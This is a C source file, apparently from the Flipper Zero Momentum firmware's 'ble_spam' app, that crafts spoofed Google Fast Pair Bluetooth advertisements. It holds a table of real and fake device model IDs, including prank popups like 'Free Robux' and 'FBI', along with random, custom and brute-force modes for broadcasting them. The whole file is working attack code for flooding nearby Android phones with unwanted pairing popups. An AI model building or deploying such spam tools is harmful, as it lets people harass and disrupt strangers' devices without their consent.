Files
Momentum-Firmware/applications/external/ble_spam/protocols/fastpair.c
2023-10-25 21:43:26 +01:00

310 lines
9.5 KiB
C

#include "fastpair.h"
#include "_protocols.h"
// Hacked together by @Willy-JL and @Spooks4576
// Documentation at https://developers.google.com/nearby/fast-pair/specifications/introduction
const struct {
uint32_t value;
const char* name;
} models[] = {
// Genuine actions
{0x00000C, "Set Up Device"},
// Genuine non-production/forgotten (good job Google)
{0x0001F0, "Bisto CSR8670 Dev Board"},
{0x000047, "Arduino 101"},
{0x00000A, "Anti-Spoof Test"},
{0x0A0000, "Anti-Spoof Test 2"},
{0x00000B, "Google Gphones"},
{0x0B0000, "Google Gphones 2"},
{0x0C0000, "Google Gphones 3"},
{0x00000D, "Test 00000D"},
{0x000007, "Android Auto"},
{0x070000, "Android Auto 2"},
{0x000008, "Foocorp Foophones"},
{0x080000, "Foocorp Foophones 2"},
{0x000009, "Test Android TV"},
{0x090000, "Test Android TV 2"},
{0x000048, "Fast Pair Headphones"},
{0x000049, "Fast Pair Headphones 2"},
// Genuine devices
{0xCD8256, "Bose NC 700"},
{0x0000F0, "Bose QuietComfort 35 II"},
{0x821F66, "JBL Flip 6"},
{0xF52494, "JBL Buds Pro"},
{0x718FA4, "JBL Live 300TWS"},
{0x0002F0, "JBL Everest 110GA"},
{0x92BBBD, "Pixel Buds"},
{0x000006, "Google Pixel buds"},
{0x060000, "Google Pixel buds 2"},
{0xD446A7, "Sony XM5"},
{0x2D7A23, "Sony WF-1000XM4"},
{0x0E30C3, "Razer Hammerhead TWS"},
{0x72EF8D, "Razer Hammerhead TWS X"},
{0x72FB00, "Soundcore Spirit Pro GVA"},
{0x0003F0, "LG HBS-835S"},
// Custom debug popups
{0xD99CA1, "Flipper Zero"},
{0x77FF67, "Free Robux"},
{0xAA187F, "Free VBucks"},
{0xDCE9EA, "Rickroll"},
{0x87B25F, "Animated Rickroll"},
{0xF38C02, "Boykisser"},
{0x1448C9, "BLM"},
{0xD5AB33, "Xtreme"},
{0x0C0B67, "Xtreme Cta"},
{0x13B39D, "Talking Sasquach"},
{0xAA1FE1, "ClownMaster"},
{0x7C6CDB, "Obama"},
{0x005EF9, "Ryanair"},
{0xE2106F, "FBI"},
{0xB37A62, "Tesla"},
};
const uint8_t models_count = COUNT_OF(models);
static const char* get_name(const Payload* payload) {
UNUSED(payload);
return "FastPair";
}
static void make_packet(uint8_t* _size, uint8_t** _packet, Payload* payload) {
FastpairCfg* cfg = payload ? &payload->cfg.fastpair : NULL;
uint32_t model;
switch(cfg ? payload->mode : PayloadModeRandom) {
case PayloadModeRandom:
default:
model = models[rand() % models_count].value;
break;
case PayloadModeValue:
model = cfg->model;
break;
case PayloadModeBruteforce:
model = cfg->model = payload->bruteforce.value;
break;
}
uint8_t size = 14;
uint8_t* packet = malloc(size);
uint8_t i = 0;
packet[i++] = 3; // Size
packet[i++] = 0x03; // AD Type (Service UUID List)
packet[i++] = 0x2C; // Service UUID (Google LLC, FastPair)
packet[i++] = 0xFE; // ...
packet[i++] = 6; // Size
packet[i++] = 0x16; // AD Type (Service Data)
packet[i++] = 0x2C; // Service UUID (Google LLC, FastPair)
packet[i++] = 0xFE; // ...
packet[i++] = (model >> 0x10) & 0xFF;
packet[i++] = (model >> 0x08) & 0xFF;
packet[i++] = (model >> 0x00) & 0xFF;
packet[i++] = 2; // Size
packet[i++] = 0x0A; // AD Type (Tx Power Level)
packet[i++] = (rand() % 120) - 100; // -100 to +20 dBm
*_size = size;
*_packet = packet;
}
enum {
_ConfigExtraStart = ConfigExtraStart,
ConfigModel,
ConfigInfoRequire,
ConfigCOUNT,
};
static void config_callback(void* _ctx, uint32_t index) {
Ctx* ctx = _ctx;
scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
switch(index) {
case ConfigModel:
scene_manager_next_scene(ctx->scene_manager, SceneFastpairModel);
break;
case ConfigInfoRequire:
break;
default:
ctx->fallback_config_enter(ctx, index);
break;
}
}
static void model_changed(VariableItem* item) {
Payload* payload = variable_item_get_context(item);
FastpairCfg* cfg = &payload->cfg.fastpair;
uint8_t index = variable_item_get_current_value_index(item);
if(index) {
index--;
payload->mode = PayloadModeValue;
cfg->model = models[index].value;
variable_item_set_current_value_text(item, models[index].name);
} else {
payload->mode = PayloadModeRandom;
variable_item_set_current_value_text(item, "Random");
}
}
static void extra_config(Ctx* ctx) {
Payload* payload = &ctx->attack->payload;
FastpairCfg* cfg = &payload->cfg.fastpair;
VariableItemList* list = ctx->variable_item_list;
VariableItem* item;
size_t value_index;
item = variable_item_list_add(list, "Model Code", models_count + 1, model_changed, payload);
const char* model_name = NULL;
char model_name_buf[9];
switch(payload->mode) {
case PayloadModeRandom:
default:
model_name = "Random";
value_index = 0;
break;
case PayloadModeValue:
for(uint8_t i = 0; i < models_count; i++) {
if(cfg->model == models[i].value) {
model_name = models[i].name;
value_index = i + 1;
break;
}
}
if(!model_name) {
snprintf(model_name_buf, sizeof(model_name_buf), "%06lX", cfg->model);
model_name = model_name_buf;
value_index = models_count + 1;
}
break;
case PayloadModeBruteforce:
model_name = "Bruteforce";
value_index = models_count + 1;
break;
}
variable_item_set_current_value_index(item, value_index);
variable_item_set_current_value_text(item, model_name);
variable_item_list_add(list, "Requires Google services", 0, NULL, NULL);
variable_item_list_set_enter_callback(list, config_callback, ctx);
}
static uint8_t config_count(const Payload* payload) {
UNUSED(payload);
return ConfigCOUNT - ConfigExtraStart - 1;
}
const Protocol protocol_fastpair = {
.icon = &I_android,
.get_name = get_name,
.make_packet = make_packet,
.extra_config = extra_config,
.config_count = config_count,
};
static void model_callback(void* _ctx, uint32_t index) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
FastpairCfg* cfg = &payload->cfg.fastpair;
switch(index) {
case 0:
payload->mode = PayloadModeRandom;
scene_manager_previous_scene(ctx->scene_manager);
break;
case models_count + 1:
scene_manager_next_scene(ctx->scene_manager, SceneFastpairModelCustom);
break;
case models_count + 2:
payload->mode = PayloadModeBruteforce;
payload->bruteforce.counter = 0;
payload->bruteforce.value = cfg->model;
payload->bruteforce.size = 3;
scene_manager_previous_scene(ctx->scene_manager);
break;
default:
payload->mode = PayloadModeValue;
cfg->model = models[index - 1].value;
scene_manager_previous_scene(ctx->scene_manager);
break;
}
}
void scene_fastpair_model_on_enter(void* _ctx) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
FastpairCfg* cfg = &payload->cfg.fastpair;
Submenu* submenu = ctx->submenu;
uint32_t selected = 0;
submenu_reset(submenu);
submenu_add_item(submenu, "Random", 0, model_callback, ctx);
if(payload->mode == PayloadModeRandom) {
selected = 0;
}
bool found = false;
for(uint8_t i = 0; i < models_count; i++) {
submenu_add_item(submenu, models[i].name, i + 1, model_callback, ctx);
if(!found && payload->mode == PayloadModeValue && cfg->model == models[i].value) {
found = true;
selected = i + 1;
}
}
submenu_add_item(submenu, "Custom", models_count + 1, model_callback, ctx);
if(!found && payload->mode == PayloadModeValue) {
selected = models_count + 1;
}
submenu_add_item(submenu, "Bruteforce", models_count + 2, model_callback, ctx);
if(payload->mode == PayloadModeBruteforce) {
selected = models_count + 2;
}
submenu_set_selected_item(submenu, selected);
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
}
bool scene_fastpair_model_on_event(void* _ctx, SceneManagerEvent event) {
UNUSED(_ctx);
UNUSED(event);
return false;
}
void scene_fastpair_model_on_exit(void* _ctx) {
UNUSED(_ctx);
}
static void model_custom_callback(void* _ctx) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
FastpairCfg* cfg = &payload->cfg.fastpair;
payload->mode = PayloadModeValue;
cfg->model =
(ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00);
scene_manager_previous_scene(ctx->scene_manager);
scene_manager_previous_scene(ctx->scene_manager);
}
void scene_fastpair_model_custom_on_enter(void* _ctx) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
FastpairCfg* cfg = &payload->cfg.fastpair;
ByteInput* byte_input = ctx->byte_input;
byte_input_set_header_text(byte_input, "Enter custom Model Code");
ctx->byte_store[0] = (cfg->model >> 0x10) & 0xFF;
ctx->byte_store[1] = (cfg->model >> 0x08) & 0xFF;
ctx->byte_store[2] = (cfg->model >> 0x00) & 0xFF;
byte_input_set_result_callback(
byte_input, model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 3);
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
}
bool scene_fastpair_model_custom_on_event(void* _ctx, SceneManagerEvent event) {
UNUSED(_ctx);
UNUSED(event);
return false;
}
void scene_fastpair_model_custom_on_exit(void* _ctx) {
UNUSED(_ctx);
}